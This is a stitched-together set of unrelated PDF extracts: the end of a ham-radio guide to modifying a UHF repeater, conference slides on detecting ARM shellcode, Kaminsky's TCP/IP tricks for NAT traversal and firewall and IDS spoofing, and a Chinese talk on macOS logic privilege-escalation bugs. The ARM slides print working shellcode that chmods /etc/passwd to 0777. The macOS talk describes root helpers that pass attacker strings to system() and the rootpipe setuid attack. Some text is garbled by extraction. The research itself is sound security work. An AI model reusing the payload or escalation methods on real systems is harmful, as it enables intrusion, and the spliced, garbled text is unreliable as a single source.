leaving it off for 1 minute and check that the PLL lock took. The fault LED should stay lit for approx 5 seconds and go out. With a spectrum analyzer verify the output of the module to be approximately 1 mW (0 dBm), Also verify that the harmonics are at least 29dB below carrier. Receiver Synthesizer Spectrum Analysis Phase 4: UHF Receiver Front End Module Please Refer to LBI38673J and LBI39129B Please note that the UHF version of this module does not have a fault LED for the front panel. According to the newer documentation found in LBI39129D, the parts layout of the R7 board was changed to only have one helical filter. The parts list does not make reference to certain parts shown on the layout, but still contains helical filter FL2 while the schematic shows two helical filters. This appears to be an error in the documentation in which someone inadvertently switched the correct layout for the G3, G4 and G7 module. Using a Torx T-15 screwdriver, remove the top and bottom lids of the module. Remove the pre-selector helical casing. Stock Receiver Front End Module With a sharpie, write on the side of each filter it’s previous position, this way you will not inadvertently undo your work during reassembly. Carefully desolder and swap FL1 and FL2. The module has the ground plane from hell and can absorb heat from both a 40W Iron and a 150W soldering gun at an alarming level. About the only thing I found that was able to provide enough heat for the desoldering job was a small butane pencil torch. Bernz-o-matic, Serious Business. Leave the flame about 3 inches off the board and offset at a 45 degree angle. Pass the flame back and forth slowly across the widest part of the filter so you heat both rows simultaneously. It takes about 2 minutes to develop enough heat on the ground plane where the solder melts and the filter falls free. Have something non-flammable and melt resistant under the module to catch the hot filter. Clean up the hole with a solder sucker and the torch from the solder side of the PCB. Heat the solder with the torch so that it goes fluid and suck it clean. Then clean the burnt rosin from the board with denatured alcohol and a tooth brush. Also clean the excess solder from the filters, use a 40W iron and solder wick. Helical filters removed, and all cleaned up. Solder the filters in place. Remember that you wrote where they were, not where they are going. So install FL1 at FL2 and FL2 at FL1. This will probably require the hottest tip in your arsenal. I used 900 degree ‘R’ and it still wasn’t good enough. With the solder best you can get it go over the joints one at a time with the torch and re-melt them. Clean the rosin residue from the under side of the board again with the tooth brush. Using heavy gauge wire cutters or a Dremel with a cut off wheel, remove a ¼ turn off of the top of each helical coil in the pre-selector. Try not to leave burrs on the ends of the coils, use a small nail file or some sanding tape. Clean the area free of copper particles with the alcohol and a rag. Fully modified Receive Front End New Helical configuration: Fc: 445 MHz Bandwidth: 2 MHz Wire: 0.1” (10 ga.) Turns: 3.68 Diameter: .637” Height: .956” Spacing: .25” Cavity: 1.17” Square x 1.375” Impedance: 190 Ohms Unloaded Q: 1466 At this point you should be able to make the receiver tune to at least -113dBm (0.5uV) for 12dB SINAD, -116dBm (0.35uV) typical. Reassemble the helical casing and attach the top and bottom covers. Reassembled Receiver Front End Module New Receiver Configuration Phase 5: UHF Receiver Front End Module Tuning Tuning has to be done with the module out of the T/R frame as there is no way to get tools and your hand in there at the same time, I’ve tried. So perform the following connections. RF Input to Spectrum Analyzer Tracking Generator Output IF Output to Spectrum Analyzer RF Input LO Output to LO Input via 2’ BNC jumper cable. Clip lead with +12 (Backplane J5, Pin 3) to L21, C32 Junction. You may have to add a wire jumper to make a connection point on the Front end depending on revision of board you have, and care should be taken not to short J5. Receiver Front End Tuning Setup (Improvised TQ0605) Remove tuning slugs from main the helical casting. Once that is done set the following on the Spectrum Analyzer, Center frequency = Receive frequency, Span 10 MHz, Track Generator +0dBm, 10dB per division. To get close, start with only the first slug, the one closest to the RF Input jack. Replace the retention nut on the slug and insert back into the helical casting. Tighten down the nut until the slug moves at the desired tension. Take the cable feeding the Spectrum Analyzer Input and hold it to the next hole in line and tune the first slug until the peak is at the center range. The signal should be -70 to -50dB down from +0dBm. Repeat procedure with following slugs advancing to next set of holes. Adjust for best flatness at the top of the graph. When on the last slug connect SA Input back to LO Output of Receiver Front End Module. Readings are now approximately 40dB down from the input. Adjust the last slug for maximum level. Remove the top lid and tune FL1 to for maximum level and then proceed to adjust L1-L5 and FL1 for best possible response. The response should be tuned to 3 MHz wide at the 3dB points. Receiver Front End Spectrum Analysis Now swap the cables on the module between RF In and IF Out Tune FL2 for maximum level and then set for best response over 418.6 – 428.6 MHz. Signal level should be about -13dBm from generator output level. LO to IF port Spectrum Analysis To test for conversion gain, swap cables back to original positions and set Spectrum Analyzer center frequency to 21.4 MHz. Offset the tracking generator so the output sweeps the center receiver frequency (441.3 MHz - 21.4 MHz = 419.9 MHz). The level of 21.4 MHz pass band should be within 1dB of tracking generator output signal (-0dBm). RF to LO port Spectrum Analysis (Generator Offset 419.9 MHz) Phase 6: T/R Frame Replace modules in T/R frame in following order Left to Right. Large cards: Transmit Synthesizer Module Receiver Synthesizer Module Receiver Front End Module Receiver IF Module Small Cards: System Module Blank Blank Blank Power Module T/R Frame Note, that some stations may have accessory cards in the blank areas. Connect service monitor with SINAD measuring ability to RF Input and take a connection from the station speaker for audio. Verify Receiver comes to factory specification of -116dBm (0.35uV), mine comes to -121dBm (0.20uV), be sure to add cable loss into your figures. External controller interfacing may be done following the instructions here: http://www.hamrepeater.com/n0ndp/GE-Ericsson-MACOM/Mastr-III %20manuals/mastr3ctrl.doc Phase 7: UHF Low Split Power Amplifier Please Refer to LBI38674L Your station should include a Group 3 low pass filter which is designed for 376 – 470 MHz. The circuitry for the UHF Low Pass Filter is perfect, don’t mess with it. If your station is equipped with the T/R relay and you are converting it to full duplex, remove it. Unscrew the 2 Torx screws that hold the mounting bracket to the low pass filter and then unscrew the ‘N’ connector between the LPF and relay. UHF Group 6 power amplifier The amplifier may perform adequately for your needs, if not replace the following parts: Remove C36 Remove C41 Replace U1 with Mitsubishi M57704M Replace C27 with 10pF AVX Porcelain Replace C28 and C29 with 8.2pF AVX Porcelain Replace C87 through C90 – 43pF Underwood Case MIN02-002 Replace C91 and C94 with 36pF Underwood Case MIN02-002 Replace C67, C69, C92 and C93 with 39pF Underwood Case MIN02-002 The replacement power module can be obtained from www.RFparts.com. Removing M57704L Power Module Removing the power module requires the use of a Torx T-10 screw driver. After removing the previous brick, clean the old heat sink compound from the heat sink and apply a fresh thin coating. Underwood capacitors that are the correct size can be found from www.mouser.com, the ones carried by RF parts are too large. The only thing that is difficult to find is the AVX style capacitors. Underwood capacitors can be substituted by scraping off additional solder mask from the ground planes to accommodate the larger surface area. Replacing the Underwood capacitors requires serious amounts of heat. A 150 – 250W soldering gun is the recommended armament. New M57704M Power Module, and replaced capacitors Connect the output from the Transmit side of the T/R frame to the input of the Power Amplifier. In MASTRUTL.BAT from the Potentiometer screen adjust Power Output to 99. Unscrew the Low Pass Filter and lid from the PA assembly. Connect a Bird 43 with a suitable dummy load and 250W 400 – 1000 MHz slug or equivalent to the output connector of the LPF. Key the repeater. Adjust the potentiometer on the Power Amplifier board until 110W is indicated on the meter, mine is labeled ‘R43’. Warning: misadjustment may result in amplifier failure. Adjust the Power Output value in the software until the desired power level is achieved. Reattach the lid and Low Pass Filter and reassemble the repeater. This work was custom generated for the Repeater Builders Technical Information Page, www.repeater-builder.com Text edited by: Bob Meister, WA1MIK Photographs by: Matt Krick, K3MK Legal notice - All the material in this technical service bulletin is Copyright 2008 Matt Krick, K3MK, All Rights Reserved. The author takes no responsibility for any damage during the modification or for any wrong information made on this modification. Your results may vary. Commercial use of this bulletin is not authorized without express written permission of the author. Furthermore, this work is specifically prohibited from being posted to www.mods.dk or any other ‘limited free site’. Please ask for permission before posting elsewhere.
pdf
Shellcodes for ARM: Your Pills Don’t Work on Me, x86 Svetlana Gaivoronski @SadieSv Ivan Petrov @_IvanPetrov_ Why it’s important q   Increasing  number  of  ARM-­‐based  devices q   Significant  number  of  vulnerable  so:ware  and  huge  base  of  reusable  code q   Memory  corrup?on  errors  are  s?ll  there @SadieSv  @_IvanPetrov_ Is it decidable? Ac?vator • NOP • GetPC Decryptor Payload Return  address  zone q   Structure  limita?ons q   Size  limita?ons @SadieSv  @_IvanPetrov_ May be it’s not that bad? q   Stack  canaries:  calculates  pseudo-­‐random number  and  saves  it  to  the  stack; q   SafeSEH:  instead  of  protecDng  stack  protects excepDon  handlers  ; q   DEP:  makes  stack/part  of  stack  non-­‐ executable; q   ASLR:  randomizes  he  base  address  of executables,  stack  and  heap  in  a  process’s adress  space  . BYPASSED @SadieSv  @_IvanPetrov_ Okay, what’s the ARM problem? q   Shellcodes  are  already there q   Shellcode  detec?ons methods  (okay,  “smarter” than  signature-­‐based)  are not… Are x86-based methods are applicable here? For analysis of appicapability of х86–based techniques for ARM it’s reasonable to understand differences of two platforms. @SadieSv  @_IvanPetrov_ Main differences of two platforms: q Commands  size  is  fixed; q 2  different  CPU  modes  (32bit  and  16bit)and  possibility  to dynamic  switching  between  them; q Possibility  of  condiDonal  instrucDon  execuDon; q Possibility  of  direct  access  to  PC; q load-­‐store  architecture  (not  possible  to  access  memory directly  from  arithmeDc  instrucDons); q FuncDon  arguments  (and  return  address  as  well)  go  to registers,  not  stack. @SadieSv  @_IvanPetrov_ i  f  (  e  r  r  !=  0)  p  r  i  n  t  f  (  "  Er  r  o  r  c  o  d  e  =  %i  \  n  "  ,  e  r  r  )  ; e  l  s  e  p  r  i  n  t  f  (  "OK!  \  n  "  )  ;  CMP  r1  ,  #0  BEQ  .  L4  LDR  r0  ,  <  string_1_address  >  BL  prin]  B  .  L8 .  L4  :  LDR  r0  ,  <  string_2_address  >  BL  prin] .  L8  : CMP  r1  ,  #0 LDRNE  r0  ,  <  string_1_address  > LDREQ  r0  ,  <  string_2_address  > BL  prin] Without  condi?onal instruc?ons With  condi?onal instruc?ons Condi?onal  execu?on @SadieSv  @_IvanPetrov_ Thumb  CPU mode chmod("/etc/passwd",  0777)  -­‐  31  byte "\x78\x46"  //  mov  r0,  pc "\x10\x30"  //  adds  r0,  #16 "\xff\x21"  //  movs  r1,  #255  ;  0xff "\xff\x31"  //  adds  r1,  #255  ;  0xff "\x01\x31"  //  adds  r1,  #1 "\x0f\x37"  //  adds  r7,  #15 "\x01\xdf"  //  svc  1  ;  chmod(..) "\x40\x40"  //  eors  r0,  r0 "\x01\x27"  //  movs  r7,  #1 "\x01\xdf"  //  svc  1  ;  exit(0) "\x2f\x65\x74\x63" "\x2f\x70\x61\x73" "\x73\x77" "\x64” chmod("/etc/passwd",  0777)  -­‐  51  byte "\x0f\x00\xa0\xe1"  //  mov  r0,  pc "\x20\x00\x90\xe2"  //  adds  r0,  r0,  #32 "\xff\x10\xb0\xe3"  //  movs  r1,  #255  ;  0xff "\xff\x10\x91\xe2"  //  adds  r1,  r1,  #255  ;  0xff "\x01\x10\x91\xe2"  //  adds  r1,  r1,  #1 "\x0f\x70\x97\xe2"  //  adds  r7,  r7,  #15 "\x01\x00\x00\xef"  //  svc  1 "\x00\x00\x30\xe0"  //  eors  r0,  r0,  r0 "\x01\x70\xb0\xe3"  //  movs  r7,  #1 "\x01\x00\x00\xef"  //  svc  1 "\x2f\x65\x74\x63" "\x2f\x70\x61\x73" "\x73\x77" "\x64" Thumb  mode ARM  mode @SadieSv  @_IvanPetrov_ Local recap Sta?c  analysis Dynamic  analysis @SadieSv  @_IvanPetrov_ What cause such problems (mostly) New  obfusca?on  techniques: 1.  CondiDonal  execuDon; 2.  AddiDonal  CPU  mode. @SadieSv  @_IvanPetrov_ The next step? q We  already  have  (sDll  on-­‐going)  work  on  x86  shellcodes  detecDon:  –  Set  of  features q Are  they  features  of  ARM-­‐based  shellcodes  too? q Can  we  idenDfy  something  new? Static features • Correct  disassembly  for  chain  of  at  least  K  instruc;ons; • Command  of  CPU  mode  switching  (BX  Rm); • Exis;ng  of  Get-­‐UsePC  code; • Number  of  specific  paJerns  (  arguments  ini;aliza;ons,  func;on  calls  )  exceeds some  threshold; • Arguments  inializa;on  strictly  before  system  calls  ; • Write  to  memory  and  load  from  memory  cycles; • Return  address  in  some  range  of  values; • Last  instruc;on  in  the  chain  is  (BL,  BLX),  or  system  call  (svc); • Operands  of  self-­‐iden?fied  code  and  code  with  indirect  jumps  must  to  be ini?alized. Correct disassembly for a chain of at least K instructions Non  a  shellcode Shellcode! @SadieSv  @_IvanPetrov_ Non  a  shellcode Non  a  shellcode Non  a  shellcode Command of CPU mode switching (  BX  Rm ) CPU  mode  switch Shellcode  in  Thumb mode Arguments  for  system  call PC  register Jump  with  exchange Thumb  mode  number @SadieSv  @_IvanPetrov_ Existing of  Get-­‐UsePC code PC  register Encrypted  shellcode Get  PC Use  PC Get  PC  into  LR  register  (r14) Use  PC @SadieSv  @_IvanPetrov_ Arguments initializations for system calls and library calls Arguments System  call  number System  call _socket  #281 _connect  #283 @SadieSv  @_IvanPetrov_ Write to memory and load from memory cycles Encrypted  shellcode Read  from  memory Store  to  memory Cycle  counter Address  of  encrypted payload Main  cycle @SadieSv  @_IvanPetrov_ Return address in some range of values Return address Vulnerable buffer Stack Payload Shellcode 0xbeffedbc 0xbeffedbc 0xbeffedbc 0xbeffedbc 0xbeffedbc 0xbeffedbc Return  address zone @SadieSv  @_IvanPetrov_ Dynamic features •  The  number  of  payload  reads  exceeds  threshold; •  The  number  of  unique  writes  into  memory  exceeds threshold; •  Control  flow  is  redirected  to  “just  wriJen”  address loca;on  at  least  once; •  Number  of  executed  wx-­‐instruc;ons  exceeds  threshold; •  Condi;onal-­‐based  signatures. @SadieSv  @_IvanPetrov_ Read and write to memory Decryptor Encrypted  payload N  Unique  reads  and  writes @SadieSv  @_IvanPetrov_ Control flow switch Decryptor Decrypted  payload Control  flow @SadieSv  @_IvanPetrov_ Conditional - based signatures Z  =  0  &  C  =  0 Z  =  1  &  C  =  0 ADDEQS  r0,  r1 ADDEQS  r0,  r1 AL  block (every  flag) AL  block (every  flag) CS  block (  С  ==  1) Z  =  0 С  =  1 CS  block (  С  ==  1) NE  block (  Z  ==  0) NE  block (  Z  ==  0) ADDCCS  r3,  r4 ADDCCS  r3,  r4 Z  =  1 С  =  0 If  EQ  block  was executed,  then Z  =  1,  else  Z  =  0 NE  block (  Z  ==  0) NE  block (  Z  ==  0) @SadieSv  @_IvanPetrov_ What’s next Make   another   module   to shellcode   detec?on   tool   -­‐ Demorpheus @SadieSv  @_IvanPetrov_ Demorpheus - idea @SadieSv  @_IvanPetrov_ µ1: K1, K2 µ7: K3 µ3: K4 µ8: K5, µ4: K2 µ2: K4 µ6: K3, K5 µ5: K4, K5 decision making module data flow K4 K5 K4, K5 K1 K2 K3 K4 K5 K2 K3 level 1 level 2 level 3 complexity Hybrid classifier Disassembling CFG reconstruction IFG reconstruction … Disassembled Flow CFG IFG … Feature 1 detector Feature К detector … @SadieSv  @_IvanPetrov_ Experiments • Shellcodes; • Legi?mate  binaries; • Random  data; • Mul?media. @SadieSv  @_IvanPetrov_ Experiments @SadieSv  @_IvanPetrov_ Datasets FN FP Shellcodes 0 n/a LegiDmate  binaries n/a 1.1 MulDmedia n/a 0.33 Random  data n/a 0.27 @SadieSv  @_IvanPetrov_ Dataset Throughput Shellcodes 56.5  Mb/s LegiDmate  binaries 64.8  Mb/s MulDmedia 93.8  Mb/s Random  data 99.5  Mb/s 2  GHZ  Intel  Core  i7 Experiments Your questions? @SadieSv  @_IvanPetrov_
pdf
BLACK OPS OF TCP/IP Spliced NAT2NAT And Other Packet-Level Misadventures Dan Kaminsky, CISSP DoxPara Research www.doxpara.com Where I‟m Coming From…  Black Hat 2001  Impossible Tunnels through Improbable Networks with OpenSSH  Getting Out: ProxyCommands for Non-TCP comm layers  HTTP, SOCKS, UDP, Packet Radio*, AIM/Yahoo*  Coming In: Active Connection Brokering for NAT2NAT  One host exports SSHD to broker  Other host imports access from broker  Passing Through: Dynamic Forwarding for Psuedo-VPN Work  Web Browsing, Dialpad(Split-H323), etc. Interesting Problems  Instant Portscan  “Is it possible to discover instantaneously what network services have been made available, even on massive networks?”  Guerrila Multicast  “Is it possible to send a single packet to multiple recipients, using today‟s multicast-free Internet?”  “NATless NAT”  “Is it possible to share a globally addressable IP address without translating private IP ranges a la NAT?”  Is it possible to allow incoming connections to an IP multiplexed in this manner?  NAT Deadlock Resolution  “Is it possible to establish a TCP connection between two hosts, both behind NATs?” On Possibility  Restraint Free Engineering  “Abandon All Practicality, Ye Who Enter Here”  “It‟s amazing what you can do once security is no longer a concern.”  You‟ve got what you‟ve got. Make interesting things happen.  It might end up practical.  It might end up secure.  Right now, it‟s impossible. Fix that first.  Maybe. ObThreeWayHandshakeIntro Connection Request (Alice -> Bob)  SYN: I want to talk to you Connection Response (Bob -> Alice)  SYN|ACK: OK, lets talk.  RST|ACK: I ain‟t listening Connection Initiation (Alice -> Bob)  ACK: OK, beginning conversation. What Do You Want?  Port Ranges  Local Port: What application requested the connection. Usually a random number, 0-65535.  0 is a valid port  Remote Port: What application accepted the connection. Usually a “known number”  80 for HTTP  143 for IMAP  443 for HTTP/SSL  IP handles who we‟re talking to; Ports handle what we want from them How Do You Want It? Sequence Numbers  32 bit number, randomly generated, must be reflected by the opposite party in a TCP handshake  After initial reflection, used to relay information about successful packet acquisition SYN Cookies  Developed in ‟96, when SYN floods became common  ACK reflects SEQ# of SYN|ACK  Encrypts connection state into the SYN|ACK‟s SEQ#  Therefore, you can use legitimate remote hosts – instead of kernel memory – to store handshake state  Ahhh…but SYN|ACK also reflects SEQ# of SYN… Stateless Pulse Scanning  Instant Portscan  “Is it possible to discover instantaneously what network services have been made available, even on massive networks?”  Answer: Yes, practically, even securely  Separate scanner and listener processes  Sending  Directly send n SYN packets  Same local port  SYN cookies  Receiving  Kernel filter packets arriving to local port  Verify SYN Cookie – did we actually scan this host?  Mark that port was up(SYN|ACK)or down(RST|ACK) Observed Results  Since no state is maintained within the scanner, we can send SYNs at wire speed  Found ~8300 web servers on a corporation‟s Class B  Time spent: 4 Seconds  Collisions  Initial SYNs might collide, but SYN|ACKs resend  SYN|ACKs are given RSTs by present kernels automatically  The SYNs were generated in userspace – the kernel has no idea the connection request was ever sent Implications  Userspace manipulation of packets can lead to less overhead  Kernels are optimized to talk to other hosts, not simply to scan them  Packet content can be overloaded  A random field can always be replaced with encrypted data (and vice versa)  This is the heart of kleptography  Elegant solutions sometimes can be reapplied elsewhere  SYN cookies made SYN reception more efficient  SYN|ACK cookies make SYN transmission more efficient On Packet Structure Packets are “strangely ordered”  Next hop, previous hop, next protocol, next protocol, checksum, first hop, last hop, first app, last app, checksum, god knows what, checksum Why not sort everything? Why so much redundancy? Isn‟t it inefficient? Layers: Not What, But Who  One medium, many messages  Listeners reconstruct meanings relevant to themselves, ignore the rest  Managed responsibility  Fields are out of order, occasionally because they‟re addressed to different entities  Name and address repeated inside a business letter and on the envelope  Messages at one layer can modulate messages received at another  Insufficient postage will prevent a correctly addressed letter from getting sent  Incorrect internal address has unknown effects Layer Duties Layer 1: Medium Layer 2: Previous Hop <-> Next Hop Layer 3: First Hop <-> Last Hop Layer 4: Previous App <-> Next App Layer 5: First App <-> Last App Layer Redundancy  L2: Broadcast MAC Address  FF:FF:FF:FF:FF:FF  Absolute  L3: Broadcast IP Address  Last IP of Subnet  Relative  Sending to it is known as a Directed Broadcast  Often blocked, if it can be detected  Detection can be…suppressed. Broadcast GHosts  Guerrila Multicast  “Is it possible to send a single packet to multiple recipients, using today‟s multicast-free Internet?”  Answer: Yes, barely.  Link a unicast IP to a broadcast MAC address; all responses to that IP will be broadcast throughout a subnet  No individual client need duplicate the datastream – the switch will issue copies of the data to all downstream hosts The Summoning  DHCP for an IP  May or may not use broadcast MAC in DHCP request – just trying to validate that nobody else is using the IP  Answer ARP requests for that IP with Broadcast MAC  Issue L4 requests against a remote host, unicasted via layer 3, with responses broadcasted locally at layer 2  Elegance has left the building Firewall Issues  NAT  100% NAT penetration, as long as the implementation doesn‟t refuse to NAT for a broadcast MAC  PIX  Multicast through NAT!  UDP  Remote side can send data forever – as long as it keeps packets coming in before the UDP state expires, no further data is required from behind the wall TCP w/ Guerrila Multicast  Without any listeners, stream dies  With one listener, stream can operate normally  With many listeners, only one should participate in acknowledging the stream  If that one dies, another should take its place  Solution: Random delays  On reception of a packet to be acknowledged, queue a response within the next 50-1500ms  Broadcast response  If another host broadcasted a response before you had the chance to, unschedule your response Recontextualizing L2/L3  One IP, normally linked to one host, can be transformed at L2 into all hosts at a given subnet  This transformation is undetectable outside the subnet  Other Uses  “All hosts” could also include “Many hosts” using true L2 Multicast packets  Do we have another other situation where one IP “stands in” for many hosts? MAC Address Translation  “NATless NAT”  “Is it possible to share a globally addressable IP address without translating private IP ranges a la NAT?”  Is it possible to allow incoming connections to an IP multiplexed in this manner?  Answer: Yes.  Keep the external IP on any and all hosts behind the gateway  Use NAT-style state management  Multiplex on Layer 2  Make ARP Table dynamic, based on each individual connection  Maintains L3 end-to-end integrity Managing Local Ports  NAT multiplexes several hosts into one IP address by splitting on local port  Already munging IP, might as well munge ports too  Some implementations make best efforts to match local port inside the network w/ local port outside  Birthday Paradox: Collision chance = 1 / sqrt(range_of_local_ports) = 1/256  If we can always match IP and Port, then we can always maintain end-to-end correctness  Only have a problem 1/256 connections to the same host  Alternate strategies exist – munge the SEQ#(problems w/ Window overlap), use TCP Timestamps The “Anyone Order A Pizza” Protocol Stateless approach: Ask everybody, drop RSTs, forward everything else.  Just broadcast to the IP  Actually works behind NATs, but you need to catalog all the local Ips  Breaks down badly when two people are listening on the same port  Can split port range(1022, 2022, 3022, etc. all being different instances of 22/ssh) Incoming State  Stateful Approach (“you ordered the last one”)  Ask everyone, but remember who‟s hosting  Send to the first host that replies  Increment the timer every time a packet is emitted from the serving host for that port  If no packets are emitted after a certain amount of time, allow open registration once more  “It‟s amazing what you can do once security is not an issue.” TCP Splicing  NAT Deadlock Resolution  “Is it possible to establish a TCP connection between two hosts, both behind NATs?”  Answer: Yes…but it ain‟t pretty.  Convince each firewall that the other accepted the connection, using a connection broker to coordinate port selection and tunnel/spoof SYN|ACKs  Layers will need to be played against eachother to prevent certain otherwise desirable messaging behaviors from going too far An Analogy Bill Gates „n Larry Ellison  Why? They can call anyone they want – their secretaries won‟t stop „em.  None of us can call them – their secretaries will stop us.  If Bill or Larry did call us, they‟d actually be able to hear us reply.  Asymmetry is in the initiation Setting Up Alice and Bob both behind NATting firewalls  Firewalls authorize all outgoing sessions, block all incoming sessions  Block w/ state – no faking  Only accept fully validated responses to outgoing messages  Ports must match  SEQ#‟s must match  Total outgoing trust, zero incoming trust The Attempt  Alice tries to send a message to Bob  SYN hits Alice‟s firewall, is given global IP + entry in state table “connection attempted”  SYN travels across Internet  SYN hits Bob‟s firewall, RST|ACK sent  RST|ACK hits Alice‟s firewall, entry in state table torn down, RST|ACK readdressed to Alice  Alice gets nowhere  Bob does the same thing Analysis Good  Entry in firewall state table, awaiting a reply Bad  Negative reply, entry in state table destroyed Can we get the former without the latter? Doomed TTLs  Packet first hits local firewall, gets NAT entry, travels across Internet, hits remote firewall, elicits the rejection.  Good at the beginning of life, bad at end of life  So shorten the packet‟s lifespan and it never goes bad.  TTL: Time To Live  Maximum number of hops packet is allowed to travel along the network before being dropped  Used by IP to prevent routing loops  Used by us to prevent state table from closing the hole New Paradigm Now able to add Host/Port/SEQ# combinations to firewall packet acceptance rules  Larry Ellison: “Bill Gates is going to call here in the next two minutes, please put his call through.” Need to generate packets, though Packets, Ports, Problems  Three way handshake – SYN, SYN|ACK, ACK  Outgoing connections have SYNs and ACKs but no SYN|ACKs  Ports  Need to agree on which ports are linking up  Need to discover firewall multiplexing rules  Timing  Need to know when to attempt connection  Solution to all three: Handshake Only Connection Broker  Involved only in setting up connection Local Port Strategies Some firewalls do best effort to match Some increment from a fixed counter Some use random local ports  Entropy cannot be differentiated – rule from kleptography  As long as it‟s translated back… Need to discover what strategy is being used Sequence  Alice and Bob SYN Charlie 2x  Charlie NFO Alice and Bob  Alice and Bob SYN Charlie  Alice and Bob DoomSYN Bob and Alice  Alice and Bob SYN Charlie  Charlie SYN|ACK Alice and Bob  Throw details about port selection in IPID  Alice and Bob DoomACK Bob and Alice  Alice and Bob begin normal TCP session to eachother, as if the other acknowledged correctly Tricking Firewalls/IDSs  Alice can forge a connection from an arbitrary IP by cooperating with Charlie  Alice looks like she‟s connecting to Yahoo, but is informing Charlie of the specifics of the connection attempt  Charlie replies as if he was Yahoo, and begins a TCP stream of arbitrary data using standard TCP splicing  Alice continues to doom her acknowledgments to Yahoo, and Charlie keeps sending packets as Yahoo. Conclusion Interesting things are possible All code available for download at http://www.doxpara.com
pdf
macOS 上的逻辑提权漏漏洞洞 菜丝 @蚂蚁⾦金金服光年年实验室 关于我 • 花名菜丝,就职于蚂蚁⾦金金服光年年安全实验室 • 从事桌⾯面端和移动端、IoT 设备安全漏漏洞洞的攻防,安全⼯工具开发。从移动应 ⽤用安全到智能设备均有涉猎 • BlackHat, Xdef 等国内外会议演讲者 • 开源了了 iOS 应⽤用分析⼯工具 Passionfruit,了了解⼀一下 逻辑漏漏洞洞的特点 粗暴暴简单 很少需要涉及底层细节,对 新⼿手更更友好 fuzz 不不友好 较难通过⾃自动化模糊测试 利利⽤用稳定 不不破坏内存,相对更更稳定 脑洞洞 条件的串串联,跨组件甚⾄至跨 编程语⾔言的组合 逻辑漏漏洞洞 • 滥⽤用软件既有的特性 • 开发者对 API 误⽤用 • API 本身设计和实现的缺陷 攻击⽅方式 • 在⾼高权限进程中直接执⾏行行代码 • 动态模块加载 • 滥⽤用⾼高权限进程的功能 • ⼦子进程创建 • ⽂文件系统读写等 • entitlement • 滥⽤用 ipc 返回的资源 • ⽂文件描述符 • mach port 模式 • ⽬目标:沙箱规则更更宽松或没有沙箱的进程、⾼高权限(如 root ⽤用户)的进程 • LaunchDaemons • 攻击⾯面: • 进程间通信 • Named pipe, (domain) socket, MIG, Distributed Objects, AppleEvents 等 • 特别是 XPC • 可进程间共享的资源:共享内存、⽂文件系统等 寻找攻击对象 • 简单地 ps -U root 看⼀一下。不不会显示按需启动的服务进程 • macOS 下具有 root 权限的启动项分布在如下位置 • /System/Library/LaunchDaemons • /Library/LaunchDaemons • launchctl dumpstate 可列列出所有 mach 服务的信息 • 第三⽅方软件的服务通常会使⽤用 SMJobBless 安装到 /Library/ PrivilegedHelperTools 某安全软件本地权限提升 • PrivilegedHelper 中安装了了 **MacMgrAgent,以 root 权限执⾏行行 • 在固定的路路径下创建⽂文件,使⽤用 named pipe 实现 IPC,sem_post 和 sem_wait 来做进程间同步
 • 使⽤用⾃自定义的协议序列列化数据包 • 所有 FIFO ⽂文件权限为 0777,所有进程可⾃自由读写 ➜ pipe ls -l total 24600 -rw-rw-rw- 1 cc admin 8 Aug 21 11:21 qm_fsmon_lk -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_fsmon_rd -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_fsmon_wr -rw-rw-rw- 1 cc admin 8 Aug 21 12:28 qm_proc_lk -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_proc_rd -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_proc_wr -rw-rw-rw- 1 cc admin 8 Aug 21 12:40 qm_sock_lk -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_sock_rd -rwxrwxrwx 1 root admin 2097152 Aug 21 11:13 qm_sock_wr 某安全软件本地权限提升 • 任意进程可伪造请求发送给 agent 进程 触发特权操作 • exec_command 直接将⽤用户传⼊入的字 符串串提交给 system 函数 • rooted Calculator • 于 2017 年年 8 ⽉月报告并修复 old school setuid • 同样适⽤用于其他 Unix 系统 • 具有 sticky 标志位的⽂文件可以调⽤用 setuid 获得 root 权限 • 思路路 • 错误地处理理 argv 或环境变量量:例例如将传⼊入的参数作为命令执⾏行行 • 具有 root 权限的进程通过 ipc 写⼊入内容可控的⽂文件 经典的 rootpipe (CVE-2015-1130) • root 权限执⾏行行的 writeconfig 进程暴暴露露了了 XPC 接⼝口,可在指定路路径创建任意 内容、任意属性的⽂文件 • 普通进程滥⽤用 XPC 接⼝口可创建具有 setuid 属性的⽂文件。写⼊入恶意代码后执 ⾏行行即可获得 root 权限 • 2014 年年被报告给苹果,此前可能已经被在野利利⽤用多年年。由于修复不不完善, 被多次绕过。详⻅见 DECON 23 - Stick That In Your (root)Pipe & Smoke It
 https://www.slideshare.net/Synack/stick-that-in-your-rootpipe-smoke-it • 时⾄至今⽇日,补丁还是存在⼀一些⼩小问题,但已⽆无法实质利利⽤用(后续介绍) XPC? • ⽬目前 macOS 和 iOS 均⽀支持的进程间通信机制 • 使⽤用类似事件驱动的⻛风格,⽀支持“客户端”和“服务端”双向的消息传递 • ⽆无 schema,强数据类型。消息将被序列列化为⼆二进制后发送,但上层提供与 plist 类似的数据类型,以及额外⽀支持发送⼀一些特殊的资源(⽂文件描述符、mach port) • 提供 C 和⾯面向对象的 NSXPCConnection 两种 api。后者为前者的再⼀一层封装 • XPC | Apple Developer Documentation • Auditing and Exploiting Apple IPC xpc_connection_create_mach_service client server xpc_connection_create_mach_service xpc_connection_send_message xpc_connection_resume xpc_connection_send_message_with_reply_sync xpc_dictionary_get_* xpc_connection_set_event_handler xpc_connection_resume xpc_dictionary_create xpc_dictionary_get_* xpc_connection_send_message xpc_dictionary_set_* 处理理逻辑 事件循环 XPC 抓包改包 • 调试器器 • 函数被频繁调⽤用,断下来太麻烦 • lldb Python binding: https://lldb.llvm.org/python-reference.html • 插桩 • MonkeyDev https://github.com/AloneMonkey/MonkeyDev • frida.re https://www.frida.re/
